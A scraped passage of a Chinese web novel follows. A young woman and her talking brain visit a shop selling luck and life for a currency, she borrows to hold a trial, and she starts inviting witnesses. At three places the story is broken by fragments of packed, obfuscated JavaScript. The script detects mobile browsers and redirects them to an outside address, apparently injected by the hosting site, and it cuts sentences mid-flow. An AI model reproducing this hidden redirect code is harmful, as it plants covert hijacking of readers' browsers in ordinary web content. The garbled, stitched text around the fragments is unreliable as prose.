她们路过摇摇摆摆的生物钟,路过楼梯口的器官筐和邮箱,路过一扇又一扇的门,绕着螺旋状的楼梯一步一步往上走去。 直到走到一扇和《所有法》颜色一样的,插着各种U盘、光纤、芯片,以及其它杏仁丝毫不理解的高科技的门。 “推开它。”脑子示意道,“这扇门你可以打开。” 杏仁的手触碰温润的把手,稍作停顿,还是推开了门。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14795552|158282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >随着门的推开,冷峻的蓝光映入杏仁的眼帘,好像自动贩卖机一样的货架顶着天花板,仿佛永不满足一样密密麻麻地摆满了房间。 无数商品被用扭蛋装好放在货架上,仅仅一个货架都有上千个可以承载扭蛋的格子,被坚硬的透明玻璃保护。 杏仁看呆了,手不自觉扒上玻璃,无意识流出三个字:“我的天。” “别想了。” 脑子的声音从后面传来:“虽然看起来只是玻璃,但坚固得怎样都无法打碎呢。” “我没有想——你试过?”杏仁回头。 脑子沉默不语,只是抱着臂膀慢悠悠摇头。 那反应……任谁看,它都试过吧。 杏仁扭回头来,一步一步走入这里—— 【一场美梦】50力 【倒霉buff】80力每小时 【幸运buff】100力每小时 【爱情药水】600力 …… 【一场审判庭】3000力 杏仁汗毛都立起来了:“这么贵!比什么美梦、幸运、爱情都要贵!” “那当然。”脑子理所当然,“之前的那些东西都是你生活中可能发生的——” 说到这里,脑子顿住,上下打量了一下杏仁:“对你来说可能性小,但依旧,是可能发生的。” “可是审判庭。”脑子说,“要邀请多少不同维度、不同世界的人来到这里,要请最专业的审判长,要请《所有法》,若是审判做出了判决,还要去执行判决……” “这些东西,就算是请你们世界上想象力最丰富的幻想家,幻想个三天三夜也未必能够想出来,可现在,它就真实的发生在你面前,这难道不能说是一种奇迹吗?” “不能因为你一来就参加了一场审判庭,就觉得它是寻常。”脑子说。 “这我知道,”杏仁深吸一口气,“我只是觉得,它太昂贵了。我只有一个月的时间,光是凑一场审判庭的钱我都未必能凑出来,更何况我还要一直寻找不同的凶手去告,将罪责分给他们——” “你说什么,你也承认是将罪责‘分给’它们了对吧?”脑子抓住漏洞就兴奋。 杏仁深吸一口气,她懒得辩解,现在索性睁着眼睛说瞎话:“没有你听错了,我是说为你主持正义。” 脑子眯起眼睛乜了她一眼:“算了,能理解,确实是要花费的力太多了,令你害怕的口不择言了。” “当初如果我没有【内耗】那个赞助商,我也是开不了审判庭的。” 杏仁的目光如射线一样扫视到脑子身上:“它赞助了你多少?” “5000力。” “那就是说,你还剩下……”杏仁正要高兴。 “3力。” 脑子的语气平淡,却如同凶手深夜抛尸,将沉重的尸体投入了杏仁的心河,溅起巨大的波浪。 “你!你!你!” “为什么!” 她的声音尖得如同喇叭。 “你为什么一点也不节约!” “当我的脑子那么多年,穷人该怎么花钱,你是一点都没学到吗?” 15. 胜利 杏仁还在窸窸窣窣地抱怨:“你说你这家伙。连【内耗】这么有钱的赞助商都给得罪了。” “难道你就不懂得忍耐吗?” 杏仁眯起眼睛,用眼神藐视脑子:“你说你每天跟在我身边,陪我处理生活中、工作中的各种事情。” “结果却连我处理难题时最常使用的技巧——忍耐都没有学会。” 她一本正经:“虽然你一直声称自己爱岗敬业,但现在我真的不得不怀疑你的话是不是有点太言过其实。” “嘿!你这家伙。”脑子伸手指点,它一字一句地认真说,“没人能怀疑我的职业操守。” “现在不能,以后我的下家‘公司’找你做背调的时候更不能。” 杏仁:“……” “我承认第一场审判庭花费的力很多,但那都是正当的消费。” 脑子掰着手指一一细数:“我请来那么多的证人需要花力;我装点这个粉红的房间,让这里符合审判庭开办场所的要求,也需要花力;我买那些四肢五官,让证人能够方便使用,能够自如的活动与作证也需要花力……你想想,之后的审判都要用我第一场审判时购买的东西,这样还不值得吗?” 说这话时脑子没有看她,它的眼神忽明忽灭,是散发着心虚的光吧。 杏仁在心里叫嚣,就是在心虚吧。 脑子却已经“咳咳”干咳两声将这件事略过,它用更吸引杏仁的事情引诱她:“抬头,你看那里——【生命】10000力。” 杏仁闻声扭头。 就在那层货架的最顶部,一个最高位置的格子里,被胶囊好好的包裹着——一条生命。 杏仁很难形容她看见了什么,她好像看见了一团复杂的光,或者是奇异的星云,或者是诡秘多变的多边形。 又或许生命这样东西本身就是她无法理解的,但无论她究竟看见了什么,当她的目光落在那个胶囊身上时。 她很深切的理解,那就是她要的东西。 命。 “只要攒够一万力,你就可以活下去了,”脑子很愉快地说,“我继续在你的头盖骨里做一个活跃地可以经常更换居住地的脑子,你继续当你的穷人、社畜、忍耐大师、阴沟里的老鼠……噢耶!” 欢呼声从杏仁身后传来:“我们都有光明的未来!” “阴沟里的老鼠。”杏仁轻笑一声,敛下眼睑,在嘴边嚼着这个新外号,“我刚刚可没有用这个形容词形容自己——再说你见过具备一头藻绿色秀发的老鼠吗?” “这谁能知道呢,下水道里有很多城市垃圾、化学物质啊什么的,你变异了也未可知啊。”脑子弯起嘴角,它才不会放过任何一个奚落杏仁的机会呢,“再说你居住的那个侦探社,又黑又潮又暗,和阴沟也没什么区别。” 杏仁沿着货架顺行,她无视脑子的奚落,因为她看见了更奇特的东西——【四肢专区】 里面当然有脑子购买的那些【卡通胳膊】【卡通腿】,每一对价值5力,确实是最便宜的了。 当然也有别的更古怪的东西。 什么【钢筋铁骨的胳膊】【长着绿毛的巨兽胳膊】【毛茸茸温暖胳膊】【自发热胳膊】【肌肉男胳膊】…… 那些东西太过奇怪,杏仁每看见一个,就幻想脑子穿戴着它们。 而看到【肌肉男胳膊】时,脑海中就自动浮现脑子安装一只巨大的肌肉手臂时的怪异场景——小小的脑子安装着巨大的长满肌肉的四肢,像一只身轻脚重的肌肉蜘蛛。 杏仁弯着嘴角,盯得脑子发毛。 笑着笑着,她就笑不出来了。 她忽然想到了什么,嘴角瞬间僵住,表情瞬间变得复杂:“一条命是10000力,【内耗】给你赞助了5000力,就是一条命的一半。” “是啊。”脑子理直气壮。 “而你竟然将这一半挥霍了去开审判庭?”杏仁不可置信,“再攒一攒我说不定就能直接复活了。” 脑子毫不留情地冷笑:“这你就是在痴人说梦了。” “你推过摩擦力很大的平面上放置的木块吗?” “什么?”杏仁一愣。 “你不断的用力,它都不会有所移动。” “除非你用力的数值达到了某个临界点,才能真正的改变它的状态。” “就比如:假设一个小木块需要100N才能推动,而你只用了50N的力气,那么就算你推到海枯石烂,世界毁灭,太阳从天上掉下来都不会使它运动起来。” 脑子说:“咱们的通用货币也是一样的,5000力就是5000力,决不能约等于10000力。” “如果你注定走向死亡,那么0力和5000力对你来说没有任何分别。” “更何况,你知道5000力多么难攒吗?”脑子说,“你只是一个普通的两脚人类,而【力】却是这么高贵的货币,如果不通过审判庭,你一辈子也无法真正的使用它,更无法赚取它。” 脑子下结论:“对现在的你来说,赚取【力】的唯一方法就是开办审判庭。” “……” 开办审判庭,谈何容易啊。 杏仁后退两步,停在【一场审判庭】的前面,她瞪大双眼,双手做出请的姿势,指着【一场审判庭】后面的一串数字——3000力。 “嘿!拜托,你看这里,一开始的这3000怎么来呢?”她点着玻璃。 “咱们只有3力,和它相差3个零呢。” 脑子的卡通眼睛又黑又圆,它跳上了一个货架的箱体,背靠从玻璃中透过来的冷光。 明明房间内没有通气,脑子的神情却总给人一种风雨欲来的感觉。 它说得郑重:“那就只有先赊欠了。” 它在审判庭那扇玻璃的下找到一个很小的按钮,按钮比【购买】小得多,却挤了很多很多的字—— 【赊欠按钮——审判庭专属优惠活动。先举办审判庭,审判庭结束后,审判庭将强行向败诉者收取所有费用。】 “这个房间里,只有审判庭是可以赊欠的。”脑子说。 因为总有失败的一方可以收取费用,怎样都不会欠费的,对吧。 杏仁深吸一口气。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14799887|158282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看来只有这条路了。” 她伸出指头想要摁下去,却感到心慌,骤然停顿。 “摁下去之后就没有退路了,对吧。” “嗯。”脑子答。 她的心被揪起来,却忽然无法停止地砰砰跳。 她感觉一股难过的感觉从她的脊背向上攀爬,直接爬到她的头盖骨里面去了。 脑海中的“嗡嗡”声再一次响起,仿佛汽车的发动机声音,这股声音一直在她的脑海里盘旋,时间久得已经足够她忽视它,可现在这声音却再一次如此的明显,如此的声势浩大。 “怎么了?”脑子凑近。 “没什么——”杏仁心慌意乱,她耸耸肩,“我只是不知道我有没有做好准备。” “这样啊。”脑子轻笑一声。 脑子停顿了一下:“这好办,我问你一个问题,看你能不能回答上来。” 杏仁抬头看向它。 脑子昂着自己:“你知道审判庭的最高准则是什么吗?” 当然知道。 是公平正义。 杏仁刚刚才从《所有法》上看见这一行字体。 杏仁刚要开口,可是,就在这一瞬间,她的脑海中浮现了很多事情。 她想到了人权法律改革那日,裁决居民等级的工作人员来到她家,在年幼的她还有她妈妈的身上贴上了——五等公民的标签的那天。 从此之后,饮食、住房、医疗、交通、教育……很多的权利与保障已经与她无缘。 她想到就在昨天,她忙碌了大半年的项目被皮斯拉轻而易举的抢走,她像一个废品一样被公司残酷地抛弃,而且这都是被允许的,她没有任何根据维权。 长期的疲倦一定是她脑溢血的原因之一。可当她住进了医院,却没有任何的保险能够保障她,哪怕只是为她提供最便宜的治疗。 她想到那一年冬天很冷,她脑海中的“嗡鸣”声第一次刺耳地响起。 那时她还不很习惯。 她像一具行尸走肉在街边行走,街边刚停下来的车子总会残留热气,她总是无意识的靠近那些车辆,她路过一个占卜屋时,一辆高级轿车停在门口,占卜店的店长从车上下来,差点撞到她。 那人惊讶地看了她一眼,对她说:“向神明祈祷吧,神明在看着你,祂会保佑你的。” 她祈祷了。 但,神明真的没有抛弃她吗? 公司的法规可以轻而易举地将她停职甚至开除,国家的法律将人按照身体的机械化程度划分为三六九等,而她是最末等,神明的法则更是早已经抛弃了她。 而现在,审判的权力终于轮到了她的手中。 而失败的代价是她的生命。 她还要退缩吗? “叮。” 生物钟唱响了金属质感的报时。 皎洁的月亮该再次挂在天空了吧。 可惜她看不见了。 在脑子赞许目光中:“你准备好了。” 她摁了下去。 她说:“审判庭的最高准则——” “是胜利。” 16. 证人 “就是这样,”脑子赞许地说,“一场一场地参与审判。” “让对方承担审判庭的所有费用,并支付【力】作为你的补偿。” “这就是你能够活下去的唯一办法。” “无论对面站得是谁,你都要赢下去。因为你已经负担不起输掉的代价。” “再让你支付3000力,你一定必死无疑。” 脑子说:“既然你已经做好准备了,那我们就来谈谈邀请证人的事情吧。” “证人?” 杏仁回忆起刚刚审判庭上坐在脑子身后的稀奇古怪的破板凳上的那群稀奇古怪的证人。 什么【高清相机】【大脑专家】【大女巫】【平行宇宙】……那些人都令她印象深刻。 除去这些人,还有很多坐在靠后位置的,一场审判都没有说过一句话的人。 杏仁当时全神贯注在审判庭,也没有看清那些人究竟是谁。 总之,要请上那么密密麻麻的证人,花去大约2000力也不是什么不可能的事情。 想到这儿,杏仁眯起眼睛注视脑子:“你这家伙,真是恨我呀。” “哈哈。”脑子大笑两声,举手挠挠自己粉红的身体,“我是‘杏仁核’特质的脑子,我做任何事情都不奇怪的。——忘记刚才吧,聚焦于现在才是关键。” 脑子带着杏仁往审判庭专区走去,它跳到地面,指着在货架的最低处的商品——【邀请函】1力每张。 脑子说:“一场审判庭最重要的肯定是证据与你的论证,但如果只依靠你自己的力量,没有人站在你背后支持你,就很难搜集足够的证据,很难在审判庭上打败对方。” “反正只有3力,其他的东西也什么都买不了了。” 脑子直接点击了购买按钮,购买了三张邀请函。 杏仁蹙眉看着它的动作。 脑子回头说:“别担心,价值1力的邀请函是审判庭的特殊福利产品,写上名字,将它投入邮箱。它便可以到达世界上的任何角落,任何被邀请函邀请的人都要到达这里。” 拿上从货架上掉落的扭蛋,脑子将它们扭开,抽出来邀请函递给杏仁:“已经没什么要买的了,咱们走吧。” 杏仁一边低头打量着邀请函,一边跟随脑子离开了房间。 邀请函上印刷着繁复的图案,她看那些图案,心中只觉得古怪,但那些图案她从未见过,她也不理解是什么含义。 邀请函的背面摸起来坑坑洼洼,她翻过页,发现邀请函的背面张贴着《所有法》很相似的,但更加简便类似于数据存储与传输的器件。 脑子和杏仁一前一后地走着。 脑子在前面晃悠悠地,背着手,走路如同穿着凉拖的老大爷。 它的身体颜色比周围的墙壁要深一些,看着不太健康,却意外很有干劲的模样。 它没有回头,只是问:“关于邀请谁,你有什么想法吗?” 杏仁还在思索,它就又说:“鉴于这三张邀请函实在来之不易,所以你一定要谨慎使用。” “来之不易还不是拜你所赐。” 脑子冲身后随意摆摆手:“你邀请的人最好是那种对法律很精通的,有着搜证犬一般敏锐嗅觉与直觉,能快速找到证据,擅长探案、口才了得、善于辩论,能够迅速说服对方,掌握特殊技能,最好是超能力,在危机关头能够出奇制胜的——” 脑子停下身体,弯下腰长喘了一口气,才继续说:“然后还要很笨,能够轻易被骗钱的那种人。” “说不定咱们能骗他点钱,让他当咱们的赞助商。” 杏仁都听笑了:“拜托,世界上有你说得那样的人类吗?想得也太美了——话说要不要我把你抱起来,你走得太慢了。” 脑子摇着头拒绝,杏仁却没有什么耐心,将它一下子抱起来。 杏仁让脑子乘坐她被黑色的皮夹克包裹的手臂,紧接着大步流星,很快就回到了刚刚开审判庭的位置,她将脑子放回桌子上。 期间脑子还疑惑地问:“没有这样的人类吗?” “当然没有。” “好吧,”脑子在桌子上找了几本书垫高,爬到上面坐下,“那就退而求其次,你在你们世界里认不认识什么著名侦探?常胜律师?探案专家?警局大佬?” 脑子每说一个词,杏仁便摇一下头。 到最后,脑子都沉默了。 她们两个面面相觑了很久,脑子才继续说:“如果这些人都不认识……也没有大碍,总之一些具备法律知识或者探案知识的人来作证也挺好,只要不和你一样,探案使用穷举法就好了。” 杏仁没有搭腔,只是在嗓子眼里无声地叹息。 脑子继续绞尽脑汁想办法:“如果这些人都不认识的话,那就……对方起码要足够了解你吧。” “你的挚友?” “朋友?” “好友?” “熟人?” “见到面会打个招呼的人?” 杏仁一拍手,终于松了口气:“这个我倒是有很多,工作交接的时候总是要和同事打招呼的。” 脑子瞪了她一眼:“竟说没用的,那些人会来给你作证吗?” 杏仁缓慢地摇头。 脑子的眼神幽深,它长叹了一口气,硬着头皮说:“活着的没有,死去的有没有?如果实在不行,幽灵证人也凑活……” 杏仁还只是摇头。 脑子也终于沉默了。 挂在对面的生物钟滴滴答答的流转,垂下来的金色钟摆如同秋千摆动着身姿。 没想到在推进审判庭的第一步就卡住了进度。 一人一脑面面相觑,两个人都很无奈。 过了几秒,杏仁才出言:“我的人际关系你还不了解吗?何必再羞辱我一遍。更何况,你请的证人都符合上面几点吗?” “我那是没办法,我整日为你工作,我谁都不认识——”脑子转过来弯了,“那你的意思是,你也要请陌生人?” “我还有任何选择吗?”杏仁低头,拿起一张空白的邀请函随意端详。 她的神色很淡:“总之,我认识的那群人,无论活的死的……也未必愿意站在我这一边,而且选择陌生人也可以避免那些粘腻又尴尬的情绪。” “好吧。”脑子耸肩,“陌生人呀。” 它若有所思。脑子本来用线条手托着腮,想着想着,线条手不知不觉纠结地缠绕成一团,过了半晌,它冷不丁笑了一声,“那你的选择可就多了。” 杏仁依旧盯着邀请函。 “选择谁呢?选择谁呢?” 脑子不自觉地念叨,“陌生人这么多……怎么抉择呢……发挥一下想象力吧……” 脑子还在思索,杏仁却忽然询问:“你之前说是【内耗】赞助的你,可你是怎么找到这个赞助商的呢?” “啊?”话题忽然转移,脑子愣了一下,“我没有找。” 杏仁眉头跳了跳。 “是它找到了我。”脑子说,“在【内耗】赞助给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14808764|158282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我一个独立思考的意识之前,我只是一个无意识之物,怎么能够自己做决定,更别提开办审判庭,寻找赞助商了。” “意识?”杏仁思忖,“你并不是一开始就有意识的?” “当然。不是早在审判庭上就说过了吗?” “那你说的那些过去的事情,还有那些未来的打算,还说你要旅游,还说什么就业问题,还说什么脑格测试,说什么‘杏仁核’性格的脑子……”杏仁更困惑了,“你不是刚刚才有意识的吗?” 脑子却说:“自从我有自主意识那一刻开始,我的过去和未来就‘同时’伴随而生了,一个意识体,怎么可能脱离过去和未来而独立存在,一个意识体,又怎么可能在与其他事物毫无联系的情况下独立产生。” “那……”杏仁更困惑了,“【内耗】找到了你,然后赞助给了你一个意识,又给了你5000力,让你可以去召开审判庭控告我?” “是的。” “可是?为什么啊?”杏仁百思不得其解,“它为什么要这样做啊?” 脑子却好像什么都知道:“因为你是它的忠实用户,为了它的力量壮大添砖加瓦,它要回馈用户,在吉日抽奖抽到你了。” 杏仁:“???” 脑子的神情十分微妙,它跳下书籍,又跳到地上,蹦蹦跳跳到蓝斑那只蓝色的大象滑梯那里,从滑梯的中空洞穴中掏出一张冒着香气的昂贵纸张。 那纸张因为太好而显得格格不入,一看就不是这个破破烂烂的粉红房间里本来拥有的东西。 “本来这也是证据的——【杏仁的内耗时长统计清单】,”脑子阴阳怪气,“但我的证据实在太多了,以至于刚刚的审判庭都没来得及拿出来呢。” 杏仁接过纸张,翻开去看—— 【杏仁的内耗时长统计清单】 【用户】:杏仁 【年龄】:9150日。 【内耗天数】:5980日。 【因内耗失眠天数】:2400日。 【一日最高内耗时长】:23.15时。 【连续内耗天数】:378日。 【打败了99.99%的同世界内耗用户,成为内耗最忠实的用户!】 【吉日提醒:今日是您【内耗】的第5980日,再内耗20日便可获得成就:超级内耗达人!】 【感谢您的支持!请再接再厉!】 杏仁颇为无语地将那张纸还给脑子。 她说:“谢谢你提供的信息,我已经知道该怎么办了。” 她骤然下笔。 “诶!”动作吓了脑子一跳,但它并未阻止她。 它靠近,只见杏仁在第一张邀请函上写下了—— 【To:想象】 “【想象】?你怎么会想到它?” 杏仁冷不丁来一句:“因为你刚刚让我发挥一下想象力。” “!” 脑子的卡通眼剧烈震动:“就因为这!也太草率了吧。” “开个玩笑。”杏仁继续下笔,她说,“我想,既然【内耗】都可以作为赞助商参与审判庭,那么其他的词语也应该可以作为证人参与我们的审判。” “而且【想象】也是一个大脑功能。”杏仁抬眼看了一眼这个粉红的房间,“很符合咱们这个审判庭的特点。” “可是,符合你说的两点的东西这么多,为什么是它呢?” “我也不知道,”杏仁顿笔,“如果硬说为什么,因为直觉吧。”